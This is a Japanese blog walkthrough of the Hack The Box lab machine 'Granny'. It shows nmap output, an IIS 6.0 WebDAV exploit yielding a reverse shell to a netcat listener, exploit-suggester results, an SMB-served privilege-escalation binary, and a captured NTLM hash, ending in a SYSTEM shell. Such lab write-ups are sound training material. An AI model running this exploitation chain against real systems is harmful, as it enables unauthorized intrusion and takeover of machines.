はじめに
筆者は Hack the Box 初心者です。 何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter
cheat sheet
以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET
machine について
難易度は easy です
nmap
# Nmap 7.80 scan initiated Tue Jun 9 12:11:57 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/kali/AutoRecon/results/10.10.10.15/scans/_full_tcp_nmap.txt -oX /home/kali/AutoRecon/results/10.10.10.15/scans/xml/_full_tcp_nmap.xml 10.10.10.15
Nmap scan report for 10.10.10.15
Host is up, received user-set (0.24s latency).
Scanned at 2020-06-09 12:07:16 EDT for 457s
Not shown: 65534 filtered ports
Reason: 65534 no-responses
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Microsoft IIS httpd 6.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT POST
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
| Server Date: Tue, 09 Jun 2020 16:18:41 GMT
| WebDAV type: Unknown
|_ Server Type: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 9 12:14:53 2020 -- 1 IP address (1 host up) scanned in 457.87 seconds
80 番をブラウザで見てみる
exploit
Microsoft-IIS/6.0 には RCE があります
https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
kali@kali:~$ nc -lnvp 1212
listening on [any] 1212 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.15] 1038
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service
shell 取れました
windows-exploit-suggester.py
kali@kali:~$ ./Windows-Exploit-Suggester/windows-exploit-suggester.py --systeminfo sys.txt --database ./Windows-Exploit-Suggester/2020-02-24-mssb.xls
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 1 hotfix(es) against the 356 potential bulletins(s) with a database of 137 known exploits
[*] there are now 356 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2003 SP2 32-bit'
[*]
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*] https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*] https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*]
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*]
[E] MS14-070: Vulnerability in TCP/IP Could Allow Elevation of Privilege (2989935) - Important
[*] http://www.exploit-db.com/exploits/35936/ -- Microsoft Windows Server 2003 SP2 - Privilege Escalation, PoC
[*]
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*] http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*]
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*] https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*] http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*] http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*] http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-062: Vulnerability in Message Queuing Service Could Allow Elevation of Privilege (2993254) - Important
[*] http://www.exploit-db.com/exploits/34112/ -- Microsoft Windows XP SP3 MQAC.sys - Arbitrary Write Privilege Escalation, PoC
[*] http://www.exploit-db.com/exploits/34982/ -- Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation
[*]
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*] http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*]
[E] MS14-040: Vulnerability in Ancillary Function Driver (AFD) Could Allow Elevation of Privilege (2975684) - Important
[*] https://www.exploit-db.com/exploits/39525/ -- Microsoft Windows 7 x64 - afd.sys Privilege Escalation (MS14-040), PoC
[*] https://www.exploit-db.com/exploits/39446/ -- Microsoft Windows - afd.sys Dangling Pointer Privilege Escalation (MS14-040), PoC
[*]
[E] MS14-035: Cumulative Security Update for Internet Explorer (2969262) - Critical
[E] MS14-029: Security Update for Internet Explorer (2962482) - Critical
[*] http://www.exploit-db.com/exploits/34458/
[*]
[E] MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important
[*] http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Remote Command Execution, PoC
[*]
[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
[M] MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important
[E] MS14-002: Vulnerability in Windows Kernel Could Allow Elevation of Privilege (2914368) - Important
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-097: Cumulative Security Update for Internet Explorer (2898785) - Critical
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
[M] MS13-071: Vulnerability in Windows Theme File Could Allow Remote Code Execution (2864063) - Important
[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*]
[M] MS11-080: Vulnerability in Ancillary Function Driver Could Allow Elevation of Privilege (2592799) - Important
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[M] MS09-065: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (969947) - Critical
[M] MS09-053: Vulnerabilities in FTP Service for Internet Information Services Could Allow Remote Code Execution (975254) - Important
[M] MS09-020: Vulnerabilities in Internet Information Services (IIS) Could Allow Elevation of Privilege (970483) - Important
[M] MS09-004: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420) - Important
[M] MS09-002: Cumulative Security Update for Internet Explorer (961260) (961260) - Critical
[M] MS09-001: Vulnerabilities in SMB Could Allow Remote Code Execution (958687) - Critical
[M] MS08-078: Security Update for Internet Explorer (960714) - Critical
[*] done
めっちゃあるぅ
色々試して MS09-012 の https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS09-012 が通りました
kali@kali:~/windows-kernel-exploits/MS09-012$ sudo python /home/kali/impacket/examples/smbserver.py share .
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.15,1033)
[*] AUTHENTICATE_MESSAGE (HTB\GRANNY$,GRANNY)
[*] User GRANNY\GRANNY$ authenticated successfully
[*] GRANNY$::HTB:1c129b9e3217315d00000000000000000000000000000000:174457367c9d446ae409fd9c2b3d195aa77cce2535afe368:4141414141414141
[-] Unknown level for query path info! 0x109
[*] Closing down connection (10.10.10.15,1033)
[*] Remaining connections []
C:\WINDOWS\Temp>copy \\10.10.14.8\share\pr.exe c:\windows\temp
copy \\10.10.14.8\share\pr.exe c:\windows\temp
1 file(s) copied.
C:\WINDOWS\Temp>pr.exe "whoami"
pr.exe "whoami"
/xxoo/-->Build&&Change By p
/xxoo/-->This exploit gives you a Local System shell
/xxoo/-->Got WMI process Pid: 1820
begin to try
/xxoo/-->Found token SYSTEM
/xxoo/-->Command:whoami
nt authority\system
C:\WINDOWS\Temp>pr.exe "cmd.exe"
pr.exe "cmd.exe"
/xxoo/-->Build&&Change By p
/xxoo/-->This exploit gives you a Local System shell
/xxoo/-->Got WMI process Pid: 1820
begin to try
/xxoo/-->Found token SYSTEM
/xxoo/-->Command:cmd.exe
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\Temp>whoami
whoami
nt authority\system
root を取れました〜
終わりに
ベーシックでした windows-exploit-suggester.py の結果から動作するの見つけるまでが地味に手間取った…